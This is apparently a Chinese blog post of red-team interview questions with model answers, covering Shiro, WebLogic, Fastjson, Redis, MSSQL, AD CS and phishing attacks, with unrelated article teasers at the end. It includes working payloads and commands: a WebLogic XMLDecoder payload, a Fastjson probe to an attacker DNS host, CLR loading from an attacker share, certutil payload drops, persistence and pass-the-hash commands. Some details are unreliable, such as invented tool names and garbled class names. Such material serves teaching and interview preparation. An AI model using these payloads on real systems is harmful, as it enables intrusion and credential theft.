2025年渗透测试面试题总结-某360-企业蓝军面试复盘 (题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
360-企业蓝军
一、Shiro绕WAF实战方案
二、WebLogic遭遇WAF拦截后的渗透路径
三、JBoss/WebLogic反序列化漏洞原理
四、Fastjson漏洞检测与绕过
五、PHP文件下载漏洞深入利用
六、PHP disable_function绕过原理
七、云主机无内网的深度利用
八、Redis主从复制攻击详解
九、BECT利用链使用条件与原理
十、内网域渗透:域外机器定位域控
十一、攻击17010漏洞后无法抓取密码的解决方案
十一、JBoss反序列化漏洞原理
十二、MSSQL绕过360拦截xp_cmdshell
十三、MSSQL文件上传与存储过程权限
十四、内网文件EXE落地与无网场景利用
十五、NTLM Relay+ADCS漏洞利用条件与原理
十六、CVE-2022-26923(ADCS权限提升)
十七、Vcenter权限获取与DB文件解密
十八、锁屏机器利用与权限维持
十九、MSSQL非xp_cmdshell命令执行方式
二十、域管理员查询失败原因与解决
二十一、查询域管理员的本质与原理
二十二、免杀技术:分离与单体区别
二十三、打点常用漏洞简述
二十四、内网横向扩展策略
二十五、钓鱼攻击全流程设计
二十六、钓鱼上线主机的后续利用
360-企业蓝军
shiro绕waf weblogic如果在打站的时候,一旦遇到了waf,第一个payload发过去,直接被拦截了,ip也被ban了,如何进行下一步操作 jboss反序列化原理 weblogic反序列化原理,随便说一个漏洞,然后说触发原理 fastjson怎么判断是不是有漏洞,原理是什么 fastjson判断漏洞回显是怎么判断的,是用dns做回显还是其他协议做的,为什么 fastjson高版本,无回显的情况,如何进行绕过,为什么可以这样绕过 php代码审计如果审计到了一个文件下载漏洞,如何深入的去利用? php里面的disable_function如何去进行绕过,为什么可以绕过,原理是什么 假如说,在攻防的时候,控下来一台机器,但是只是一台云主机,没有连接内网,然后也没有云内网,请问怎么深入的对这太云主机进行利用? redis怎么去做攻击,主从复制利用条件,为什么主从复制可以拿到shell,原理是什么,主从复制会影响业务吗,主从复制的原理是什么? bect利用链使用条件,原理,代码跟过底层没有,怎么调用的? 假如我攻击了一台17010的机器,然后机器被打重启了,然后重启成功后,机器又打成功了,但是无法抓到密码,为什么无法抓到,这种情况怎么解决这个问题? 内网我现在在域外有一台工作组机器的权限,但是没有域用户,横向也不能通过漏洞打到一台与域用户的权限,但是我知道一定有域,请问这种情况怎么进入到域中找到域控? jboss反序列化漏洞原理 内网拿到一台mssql机器的权限,但是主机上有360,一旦开了xpcmdshell就被拦截了,执行命令的权限都没有,这种情况怎么进行绕过? 什么是mssql上传文件,需要开启哪个存储过程的权限? 内网文件exe落地怎么去做,用什么命令去执行落地,如果目标主机不出网怎么办? 内网域渗透中,利用ntlm relay配合adcs这个漏洞的情况,需要什么利用条件,responder这台主机开在哪台机器上,为什么,同时为什么adcs这个漏洞能获取域管理员权限,原理是什么? 内网域渗透中,最新出的CVE-2022-26923 ADCE权限提升漏洞需要什么利用条件,原理是什么,相比原理的ESC8漏洞有什么利用优势? 内网渗透中,如何拿到一套vencter的权限,如果进一步深入利用?db文件如何解密?原理是什么? venter机器拿到原理员密码了,也登录进去了,但是存在一个问题,就是内部有些机器锁屏了,需要输入密码,这个时候怎么去利用? 内网权限维持的时候,360开启了晶核模式,怎么去尝试权限维持?计划任务被拦截了怎么办? mssql除了xpcmdshell,还有什么执行系统命令的方式?需要什么权限才可以执行? 如果net group "Domain Admins"/domain这条命令,查询域内管理员,没法查到,那么可能出现了什么问题?怎么解决? 查询域内管理员的这条命令的本质究竟是去哪里查,为什么输如了之后就可以查到? 免杀中,分离免杀和单体免杀有啥区别,为什么要分离,本质是什么? 打点常用什么漏洞,请简述 内网横向中,是直接进行拿一台机器的权限直接开扫,还是有别的办法? 钓鱼是用什么来钓?文案思路?如何判断目标单位的机器是哪种协议出网?是只做一套来钓鱼还是做几套来钓鱼?如何提高钓鱼成功率? 钓鱼上线的主机,如何进行利用?背景是只发现了一个域用户,但是也抓不到密码,但是有域。一、Shiro绕WAF实战方案
- 绕过逻辑:
- 密钥动态爆破:使用
ShiroAttack2工具爆破历史漏洞密钥(如kPH+bIxk5D2deZiIxcaaaA==),生成合法Cookie绕过特征检测。- 流量分片混淆:将Payload拆分为多段,插入冗余参数(如
padding=random)或通过HTTP分块传输(Chunked Encoding)干扰WAF解析。- 协议级伪装:封装请求为HTTP/2协议,利用头部压缩特性绕过传统正则匹配。
- 工具链推荐:
Ysoserial-2025生成动态Gadget链,避免CommonsBeanutils等常见类名触发拦截。Burp Collaborator实时监控DNS/HTTP回显,验证漏洞有效性。
二、WebLogic遭遇WAF拦截后的渗透路径
- IP被封禁的应急处理:
- IP池轮换:使用云函数(如AWS Lambda)动态生成代理IP,绕过单IP限制。
- 协议降级攻击:将T3协议流量伪装为HTTP/1.1,利用
Content-Type: application/octet-stream绕过协议识别。- 分阶段攻击策略:
- 初探阶段:发送无害探测包(如
t3 12.2.1\nAS:255\nHL:19\n\n),观察WAF响应规则。- 载荷拆分:利用
Coherence组件的反序列化链,将恶意对象拆分为多个请求分片传输。
三、JBoss/WebLogic反序列化漏洞原理
- JBoss(CVE-2015-7501)
- 触发点:
HttpInvoker服务未验证反序列化数据,攻击者发送恶意序列化对象触发RCE。- 利用链:基于
InvokerTransformer调用Runtime.getRuntime().exec(),构造链如下:javaObjectInputStream.readObject() → InvokerTransformer.transform() → Runtime.exec("calc.exe")- WebLogic(CVE-2017-10271)
- 漏洞点:
wls-wsat组件的XMLDecoder解析漏洞,构造恶意XML触发代码执行。- Payload示例:
xml<java version="1.8" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"><string>calc.exe</string></void> </array> <void method="start"/> </object> </java>
四、Fastjson漏洞检测与绕过
- 漏洞判断原理:
- DNS回显法:发送Payload
{"@type":"java.net.InetAddress","val":"dnslog.attacker.com"},观察DNS解析记录。- 报错探测:利用
autoType开关触发异常(如关闭时抛出autoType is not support)。- 高版本无回显绕过:
- 内存马注入:结合JNDI漏洞加载内存WebShell(如Tomcat的
Filter型内存马)。- 延时盲注:通过
Thread.sleep()或DNS递归查询实现时间盲注。- 二次反序列化:触发其他组件漏洞(如Log4j的
JNDI Lookup)。
五、PHP文件下载漏洞深入利用
- 基础利用:
- 敏感文件读取:
download.php?file=../../.env获取数据库凭据。- 源码泄露:结合PHP伪协议(
php://filter/convert.base64-encode/resource=index.php)读取源码。- 组合漏洞利用:
- 文件包含+下载:通过LFI漏洞包含下载的WebShell文件(如
/proc/self/fd/12)。- 反序列化触发:下载
phar文件触发反序列化漏洞(需phar.readonly=Off)。
六、PHP disable_function绕过原理
- 绕过技术:
- LD_PRELOAD劫持:利用
mail()函数启动子进程,通过putenv()加载恶意so文件执行命令。- FFI扩展利用:直接调用C函数(需PHP≥7.4),如
FFI::cdef("int system(char *command);")->system("id");。- ImageMagick漏洞:利用CVE-2016-3718的
ephemeral协议执行命令。- 防御对抗:
- 禁用危险函数(如
dl())和扩展(如FFI)。- 使用
open_basedir限制文件访问范围。
七、云主机无内网的深度利用
- 攻击路径:
- 元数据服务利用:访问云厂商元数据接口(如AWS的
169.254.169.254)获取临时凭证,横向访问S3/ECS资源。- 容器逃逸:利用Cgroup漏洞(CVE-2022-0492)或挂载宿主机目录逃逸到物理机。
- 凭证泄露挖掘:扫描历史命令、环境变量(
env)、配置文件(~/.aws/credentials)。- 工具推荐:
CloudMapper自动分析云环境配置。Pacu 3.0针对AWS的全场景攻击框架。
八、Redis主从复制攻击详解
- 利用条件:
- Redis未授权访问且版本<6.0(默认未启用模块签名验证)。
- 主从复制功能开放(
replicaof命令可用)。- 攻击流程:
- 设置恶意主节点:在攻击机启动Redis服务,生成恶意
.so模块。- 诱导从节点同步:通过
SLAVEOF命令使目标Redis同步攻击机数据。- 加载模块执行命令:利用
MODULE LOAD加载恶意模块,调用system.exec执行命令。- 业务影响:主从复制可能导致数据覆盖,需谨慎操作。
九、BECT利用链使用条件与原理
- 利用链条件:
- 目标依赖库包含
Beanutils或Commons-Collections(版本≤3.2.1)。- 存在触发反序列化的入口(如HTTP参数、RMI接口)。
- 触发原理:
- 通过
AnnotationInvocationHandler触发TransformeredMap链,调用InvokerTransformer执行命令。- 代码底层调用路径:
javaObjectInputStream.readObject() → AnnotationInvocationHandler.readObject() → TransformeredMap.checkSetValue() → InvokerTransformer.transform()- 调试技巧:使用
JD-GUI反编译分析Gadget链,结合IDEA动态调试触发点。
十、内网域渗透:域外机器定位域控
- 攻击路径:
- NTLM Relay攻击:
- 利用
Responder捕获SMB认证请求,中继至LDAP服务添加域管理员用户。- 部署位置:需与域控网络互通(如同一VLAN)。
- ADCS漏洞利用(ESC8):
- 通过HTTP证书申请漏洞获取高权限证书,使用
Certipy申请域管理员票据。- 定位域控方法:
- DNS查询:
nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>。- NetBIOS扫描:
nbtscan -r 192.168.1.0/24查找DOMAIN<1B>记录。
十一、攻击17010漏洞后无法抓取密码的解决方案
- 原因分析:
- 目标系统安装补丁(如KB4551853)修复了永恒之蓝的SMBv1协议漏洞,导致明文密码无法抓取。
- 流量被加密(如SMB Signing启用)或防御工具(如EDR)拦截。
- 绕过方案:
- 协议降级:强制使用SMBv1协议(
nmap --script smb-protocols)。- 哈希传递攻击:使用
secretsdump.py提取NTLM Hash,通过psexec.py -hashes横向移动。- 流量混淆:通过DNS隧道或ICMP隐蔽信道传输数据。
十一、JBoss反序列化漏洞原理
漏洞背景:JBoss AS 6.x及更早版本的
HttpInvoker服务未对反序列化数据过滤,导致远程代码执行(如CVE-2015-7501)。
触发原理:
- 入口点:
/invoker/readonly接口接收序列化对象。- 利用链:基于Apache Commons Collections的
InvokerTransformer链,触发任意类方法调用。javaObjectInputStream.readObject() → InvokerTransformer.transform() → Runtime.getRuntime().exec("calc.exe")- 防御绕过:新版WildFly禁用
HttpInvoker,企业可通过升级或启用反序列化过滤器(如SerialKiller)防御。
十二、MSSQL绕过360拦截xp_cmdshell
绕过方案:
- CLR集成:
- 启用CLR:
sp_configure 'clr enabled', 1; RECONFIGURE;- 加载恶意DLL:
CREATE ASSEMBLY ExecCmd FROM '\\attacker\share\evil.dll',通过存储过程调用。- 优势:无需
xp_cmdshell,且360对CLR检测较弱。- Agent Jobs调度:
- 创建作业:
sp_add_job @job_name='UpdateTask'→ 添加命令步骤exec master..xp_cmdshell 'whoami'。- 权限需求:
SQLAgentUserRole角色权限。- sp_OACreate执行:
- 启用OLE自动化:
sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;- 调用
wscript.shell:DECLARE @o INT; EXEC sp_OACreate 'wscript.shell', @o OUT; EXEC sp_OAMethod @o, 'run', NULL, 'cmd /c whoami';
十三、MSSQL文件上传与存储过程权限
- 上传文件方法:
- BCP命令:导出表数据到文件,需
ADMINISTER BULK OPERATIONS权限。- OLE自动化:通过
sp_OACreate调用ADODB.Stream写入文件。- CLR存储过程:自定义DLL实现文件操作。
- 关键权限:
xp_cmdshell需sysadmin角色。sp_OACreate需启用Ole Automation Procedures并授予EXECUTE权限。
十四、内网文件EXE落地与无网场景利用
落地方案:
- 编码传输:
- Certutil:
certutil -encode payload.exe payload.b64,目标端解码certutil -decode payload.b64 payload.exe。- Debug.exe :将EXE转为十六进制脚本,通过调试器还原。
- 无网执行:
- 计划任务:
schtasks /create /tn "Update" /tr C:\payload.exe /sc once /st 00:00(需管理员权限)。- 服务创建:
sc create MyService binPath= C:\payload.exe start= auto。- 横向传输:通过SMB共享(
copy \\192.168.1.2\share\payload.exe C:\)或Web目录(如IIS)上传。
十五、NTLM Relay+ADCS漏洞利用条件与原理
利用条件:
- ADCS配置:启用HTTP证书注册接口(默认启用)。
- 中继目标:域内主机存在未修复的NTLM签名漏洞(如SMB Signing未强制)。
- Responder部署位置:需位于与目标同一广播域(如同一VLAN),以捕获Net-NTLMv2哈希。
提权原理:
- ADCS漏洞(ESC8):通过中继的Net-NTLMv2哈希申请证书,证书模板允许域用户申请高权限证书(如域管理员模板)。
- Certipy工具链:自动化生成证书→申请TGT→获取域控权限。
十六、CVE-2022-26923(ADCS权限提升)
利用条件:
- 域用户权限。
- 证书模板允许用户指定SAN(Subject Alternative Name),且管理员未限制SAN字段。
原理:
- 攻击者伪造SAN为域管理员(如
Administrator@domain),申请证书后通过S4U2Self获取域管理员TGT。- 相比ESC8优势:无需中继,直接利用证书模板漏洞,成功率更高且隐蔽性强。
十七、Vcenter权限获取与DB文件解密
攻击路径:
- 漏洞利用:CVE-2021-21972(SSRF+文件上传)上传WebShell,获取vCenter Server权限。
- DB文件解密:
- 文件位置:
/storage/db/vpostgres/data中的encrypted.db。- 解密工具:使用
vCenter-decrypt.py提取硬编码密钥解密。- 原理:vCenter 7.x使用AES-256加密配置文件,密钥存储在
/etc/vmware/vpx/vcdb.properties。深入利用:
- 通过vCenter管理界面部署恶意虚拟机,利用VM Escape攻击宿主机。
十八、锁屏机器利用与权限维持
锁屏绕过:
- 内存提取密码:使用Mimikatz的
sekurlsa::logonpasswords抓取已登录用户的明文密码或哈希。- 物理攻击:替换粘滞键程序(C:\Windows\System32\sethc.exe )为cmd.exe ,通过登录界面调用。
360晶核模式绕过:
- WMI事件订阅:通过
__EventFilter和CommandLineEventConsumer执行持久化命令。- 注册表隐蔽键:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce添加启动项。- 防御对抗:使用非常规键名(如
UpdateTask)绕过关键字检测。
十九、MSSQL非xp_cmdshell命令执行方式
- sp_OACreate:
- 权限:
sysadmin或db_owner+启用OLE自动化。- 命令示例:
EXEC sp_OACreate 'wscript.shell', @o OUT; EXEC sp_OAMethod @o, 'run', NULL, 'cmd /c whoami';- CLR集成:需
UNSAFE ASSEMBLY权限,加载C#编写的恶意DLL。- Agent Jobs:需
SQLAgentUserRole权限,创建任务执行命令。
二十、域管理员查询失败原因与解决
可能原因:
- 当前用户无域管理员组查询权限。
- 域控防火墙阻断RPC/SAMR协议通信。
- 域控DNS解析异常。
解决方案:
- PowerShell查询:
Get-ADGroupMember "Domain Admins" -Server DomainController。- LDAP直接查询:
ldapsearch -H ldap://dc.domain.com -b "CN=Domain Admins,CN=Users,DC=domain,DC=com"。
二十一、查询域管理员的本质与原理
底层机制:
net group "Domain Admins" /domain通过SAMR协议向域控发起查询,需域用户权限。- 协议路径:
Client → DC(TCP 445/SMB) → SAMR API → 返回组成员列表- 依赖条件:域控的
Netlogon服务正常运行且客户端能解析域控IP。
二十二、免杀技术:分离与单体区别
类型 实现方式 优势 本质 分离免杀 Shellcode远程加载(HTTPS/DNS) 静态检测难度高 动态加载规避特征匹配 单体免杀 修改PE头/加密代码段 无需网络通信 混淆代码逻辑绕过静态分析 分离必要性:降低单文件熵值,规避沙箱检测,适应网络隔离环境。
二十三、打点常用漏洞简述
- Web漏洞:SQL注入、Fastjson反序列化、Log4j JNDI注入。
- 服务漏洞:SMBGhost(CVE-2020-0796)、Exchange SSRF(CVE-2024-21410)。
- 框架漏洞:Spring Cloud Gateway RCE(CVE-2022-22947)。
二十四、内网横向扩展策略
非扫描式渗透:
- 凭证接力:使用
CrackMapExec传递哈希(如cme smb 192.168.1.0/24 -u user -H ntlm_hash)。- 漏洞精准打击:针对高价值主机(如域控)利用已知漏洞(如Zerologon)。
- 协议滥用:通过LLMNR/NBT-NS投毒诱导凭证泄露。
二十五、钓鱼攻击全流程设计
攻击链设计:
- 载体选择:
- 邮件附件:LNK文件伪装为PDF图标。
- 恶意链接:短域名跳转至钓鱼页面(如虚假O365登录页)。
- 协议探测:
- 多协议Payload:发送HTTP/DNS/ICMP探测包,观察出网行为。
- 文案优化:
- 行业定制:针对金融行业伪造“审计通知”,针对IT部门伪装“漏洞修复指南”。
- 成功率提升:
- 多模板测试:A/B测试不同文案,筛选高点击率模板。
- 时间选择:工作日上午9-11点发送,提高打开率。
二十六、钓鱼上线主机的后续利用
域内横向路径:
- Kerberoasting:请求高权限SPN票据(如
setspn -T domain -Q */*),离线破解哈希。- NTLM Relay攻击:诱导域控发起SMB认证,中继至LDAP服务添加域管理员。
- 委派漏洞利用:检查
msDS-AllowedToDelegateTo,利用约束委派获取域控权限。
相关文章:
2025年渗透测试面试题总结-某360-企业蓝军面试复盘 (题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 360-企业蓝军 一、Shiro绕WAF实战方案 二、WebLogic遭遇WAF拦截后的渗透路径 三、JBoss/WebLogic反序…...
实时图像处理:让你的应用更智能
I. 引言 实时图像处理在现代应用中扮演着重要的角色,它能够使应用更加智能、响应更加迅速。本文将深入探讨实时图像处理的原理、部署过程以及未来的发展趋势,旨在帮助开发者更好地理解如何将实时图像处理应用于他们的项目中。 II. 实时图像处理的基础概…...
C语言基础—函数指针与指针函数
函数指针 定义 函数指针本质上是指针,它是函数的指针(定义了一个指针变量,变量中存储了函数的地址)。函数都有一个入口地址,所谓指向函数的指针,就是指向函数的入口地址。这里函数名就代表入口地址。 函…...
用DrissionPage升级网易云音乐爬虫:更稳定高效地获取歌单音乐(附原码)
一、传统爬虫的痛点分析 原代码使用requests re的方案存在以下局限性: 动态内容缺失:无法获取JavaScript渲染后的页面内容 维护成本高:网页结构变化需频繁调整正则表达式 反爬易触发:简单请求头伪造容易被识别 资源消耗大&am…...
OpenCV图像拼接(5)构建图像的拉普拉斯金字塔 (Laplacian Pyramid)
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 cv::detail::createLaplacePyr 是 OpenCV 中的一个函数,用于构建图像的拉普拉斯金字塔 (Laplacian Pyramid)。拉普拉斯金字塔是一种多…...
03 Python 基础:数据类型、运算符与流程控制解析
文章目录 一、数据类型 内置的六大类数字类型整数类型 int浮点数 float布尔 bool字符串 str 变量命名 二、数字类型的相互转换显式类型的转换整数,浮点数,复数 之间的显式转换 隐式类型的转换 三、标识符算术运算符比较运算符逻辑运算符位运算符赋值运算…...
通俗一点介绍什么是场外期权交易 ?
场外期权是交易所以外的市场进行交易的期权,主要由期货公司、证券公司等金融机构根据客户具体要求进行设计,最终由期货公司等机构与客户签订协议的形式进行,通俗一点理解场外期权就是股票做多的玩法交易,下文为大家科普通俗一点介…...
蓝桥杯备考:图的遍历
这道题乍一看好像没什么不对的,但是!但是!结点最大可以到10的5次方!!!我们递归的时间复杂度是很高的,我们正常遍历是肯定通过不了的,不信的话我们试一下 #include <iostream>…...
【机器学习/大模型/八股文 面经 (一)】
1. PPO算法中使用GAE的好处以及参数γ和λ的作用是什么? 参考答案: GAE(Generalized Advantage Estimation) 的优势在于通过指数加权多步TD误差,平衡优势估计的偏差与方差,提升策略优化的稳定性。γ(折扣因子):控制未来奖励的衰减程度,值越大表示更关注长期收益。λ…...
IIS漏洞攻略
一,PUT漏洞 1,在windows server 2003 中开启 WebDAV 和写权限,然后访问并使用BP抓包 2,使用PUT上传一个木马文件,后缀要改成其他格式 3,将上传的木马文件的内容写入到asp文件中,然后进行连接即…...
C++《红黑树》
在之前的篇章当中我们已经了解了基于二叉搜索树的AVL树,那么接下来在本篇当中将继续来学习另一种基于二叉搜索树的树状结构——红黑树,在此和之前学习AVL树类似还是通过先了解红黑树是什么以及红黑树的结构特点,接下来在试着实现红黑树的结构…...
struts2框架漏洞攻略
S2-057远程执⾏代码漏洞 环境 vulhub靶场 /struts2/s2-057 漏洞简介 漏洞产⽣于⽹站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置 或使⽤通配符namespace时,可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没有设置…...
8662 234的和
8662 234的和 ⭐️难度:中等 🌟考点:模拟、二维前缀和 📖 📚 import java.util.Arrays; import java.util.LinkedList; import java.util.Queue; import java.util.Scanner;public class Main {static int[] a ne…...
Baklib企业CMS的核心功能是什么?
企业CMS标准化发布解析 现代企业内容管理中,标准化发布模板与元数据管理构成了高效运营的基石。通过预置行业适配的文档框架与格式规范,系统能够显著降低内容创建门槛,同时确保品牌视觉与信息架构的一致性。以某智能硬件厂商为例,…...
综合章节:游戏功能扩展与深度开发
模块一:外星人管理与碰撞系统 目标:生成动态外星人群,处理移动、触边检测与子弹碰撞。 # alien.py(基础外星人类) class Alien(Sprite):def __init__(self, game):super().__init__()self.screen game.screenself.i…...
【大模型】DeepSeek攻击原理和效果解析
前几天看到群友提到一个现象,在试图询问知识库中某个人信息时,意外触发了DeepSeek的隐私保护机制,使模型拒绝回答该问题。另有群友提到,Ollama上有人发布过DeepSeek移除模型内置审查机制的版本。于是顺着这条线索,对相…...
金融行业 UE/UI 设计:解锁高效体验,重塑行业界面
在数字化浪潮中,金融行业的竞争日益激烈,用户体验(UE)和用户界面(UI)设计成为企业脱颖而出的关键。兰亭妙微凭借丰富的经验和创新的方法,为金融行业打造了一套行之有效的 UE/UI 解决方案&#x…...
在 Qt 中,不带参数或整形的参选的信号能够从 std::thread 发送成功,而带枚举离线的信号却发送失败
在 Qt 中,不带参数或整形的参选的信号能够从 std::thread 发送成功,而带枚举离线的信号却发送失败 当信号和槽在不同线程时,默认使用 队列连接(Qt::QueuedConnection),信号会被放入接收线程的事件队列&…...
从报错到成功:Mermaid 流程图语法避坑指南✨
🚀 从报错到成功:Mermaid 流程图语法避坑指南 🚀 🚨 问题背景 在开发文档或技术博客中,我们经常使用 Mermaid 流程图 来可视化代码逻辑。但最近我在尝试绘制一个 Java Stream 转换流程图时,遭遇了以下报错…...
串口通信接口标准 RS232/422/485
串口通信接口标准 RS232、RS422、R485 目录 串口通信接口标准 4 1 RS232 4 1.1 引言 4 1.2 协议原理 4 1.3 电平标准 5 1.4 应用场景 5 1.5 优缺点 6 1.5.1 优点 6 1.5.2 缺点 6 2 RS422 7 2.1 背景介绍 7 2.2 协议原理 7 2.2.1 差分信号传输 7 2.2.2 电平标准…...
开源链动2+1模式与AI智能名片赋能的S2B2C共享经济新生态
摘要:在数字经济浪潮中,共享经济平台正重塑个体服务者的职业生态。本文基于平台经济理论与创新扩散模型,深入探讨"开源链动21模式"对资源共享效率的革命性提升,解析AI智能名片与S2B2C商城小程序源码的技术赋能机制。通过…...
【论文#目标检测】YOLO9000: Better, Faster, Stronger
目录 摘要1.引言2.更好(Better)3.更快(Faster)4.更健壮(Stronger)使用 WordTree 组合数据集联合分类和检测评估 YOLO9000 5.结论 Author: Joseph Redmon; Ali Farhadi Published in: 2017 IEEE Conference …...
The First Indoor Pathloss Radio Map Prediction Challenge
原文:免费下载 挑战:ICASSP 2025 Chanllenge 摘要:为了鼓励进一步的研究并促进在开发基于深度学习的无线电传播模型时进行公平比较,在室内传播环境中定向无线电信号发射的探索较少的情况下,我们发起了 ICASSP 2025 年首次室内路径损耗无线电地图预测挑战赛。本概述论文介…...
Android系统深度定制:内置Google TTS语音引擎并设为默认的终极指南
一、背景与挑战 在Android 12.0的GMS套件定制化开发中,我们发现原生的文本转语音(TTS)功能存在一个关键问题:Google TTS语音包并非预装组件,导致用户需要手动下载安装后才能使用。本文将通过深度系统定制,…...
dify0.15.3升级至dify1.1.2操作步骤
参考官方文档:https://github.com/langgenius/dify/releases/tag/1.0.0 准备工作 停止docker容器后,首先是备份好现有的 docker-compose.yaml其次,解压 dify-1.1.2.zip,默认解压至 dify-1.1.2,sudo cp -r dify-1.1.2…...
Vue+SpringBoot:整合JasperReport作PDF报表,并解决中文不显示问题
文章目录 一、前言二、后端代码1、pom依赖2、Jaspersoft Studio生成的jasper文件3、main程序测试案例4、解决中文不显示问题5、web接口案例 三、Vue前端代码四、演示效果 一、前言 以前,在流行jdk1.6的时候,作pdf报表,用的软件是iReport。 …...
_DISPATCHER_HEADER结构中的WaitListHead和_KWAIT_BLOCK的关系
第一部分: // // Wait block // // begin_ntddk begin_wdm begin_nthal begin_ntifs begin_ntosp typedef struct _KWAIT_BLOCK { LIST_ENTRY WaitListEntry; struct _KTHREAD *RESTRICTED_POINTER Thread; PVOID Object; struct _KWAIT_BLOCK *R…...
游戏引擎学习第180天
我们将在某个时候替换C标准库函数 今天我们要进行的工作是替换C标准库函数,这是因为目前我们仍然在使用C语言开发,并且在某些情况下会调用C标准库函数,例如一些数学函数和字符串格式化函数,尤其是在调试系统中,我们使…...
在Spring Boot中,可以通过实现一些特定的接口来拓展Starter
在Spring Boot中,开发者可以通过实现一些特定的接口来拓展Starter。这些接口允许开发者自定义Spring Boot应用程序的配置和行为,从而创建功能丰富且易于使用的Starter。以下是一些关键的接口,用于拓展Starter: EnvironmentPostPro…...
C# 属性(Property)详解
在 C# 中,属性(Property) 是类或结构体中的成员,用于封装对私有字段(称为 backing field)的访问,提供更灵活和安全的数据操作方式。属性通过 get 和 set 访问器控制对数据的读写&#x…...
